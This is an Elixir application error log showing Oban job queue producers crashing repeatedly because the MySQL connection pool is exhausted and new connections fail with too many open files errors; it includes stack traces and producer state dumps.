State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 22:40:33.239663Z], limit: 50, uuid: "8fd065d4-2bdb-4bf6-b567-c42efa682b5b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:40:33.239668Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.206605>, refresh_timer: #Reference<0.2525715032.1099169794.240827>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:40:45.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1088ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 22:40:33.239410Z], limit: 20, uuid: "3e31a142-d48d-4de5-a602-4152a3c5fe2c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:40:33.239417Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.206602>, refresh_timer: #Reference<0.2525715032.1099169794.240824>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:40:45.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 890ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 22:40:33.238362Z], limit: 5, uuid: "60030b39-82b1-404f-9009-bad8afb6faa0", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:40:33.238367Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.206604>, refresh_timer: #Reference<0.2525715032.1099169794.240819>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:40:45.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 808ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 22:40:33.239890Z], limit: 3, uuid: "ea1a1ccf-9ff1-4eed-a5b9-95ed15468357", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:40:33.239897Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.206601>, refresh_timer: #Reference<0.2525715032.1121189889.84572>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:40:47.152000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:40:49.499000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:40:52.741000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:40:52.888000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:40:57.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1060ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 22:40:45.239642Z], limit: 20, uuid: "b5deee89-c47a-4091-99b7-7c786e62168d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:40:45.239647Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.206955>, refresh_timer: #Reference<0.2525715032.1121189889.84855>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:40:57.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1055ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 22:40:45.239639Z], limit: 50, uuid: "594a1e4e-cd66-442b-be8d-ff8b535d05a6", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:40:45.239645Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.206957>, refresh_timer: #Reference<0.2525715032.1121189889.84854>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:40:57.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1044ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 22:40:45.239860Z], limit: 5, uuid: "92c84911-6223-40ee-8d3d-3db278d18dab", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:40:45.239866Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.206956>, refresh_timer: #Reference<0.2525715032.1121189889.84867>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:40:57.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 849ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 22:40:45.239366Z], limit: 10, uuid: "f4c691be-c20b-4a73-984c-077c2197af1a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:40:45.239373Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.206959>, refresh_timer: #Reference<0.2525715032.1099169794.240859>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:40:57.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 847ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 22:40:45.237671Z], limit: 5, uuid: "3abb2170-25b3-4d5c-b4bd-691139e29127", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:40:45.237680Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.206954>, refresh_timer: #Reference<0.2525715032.1077411843.206908>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:40:57.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 893ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
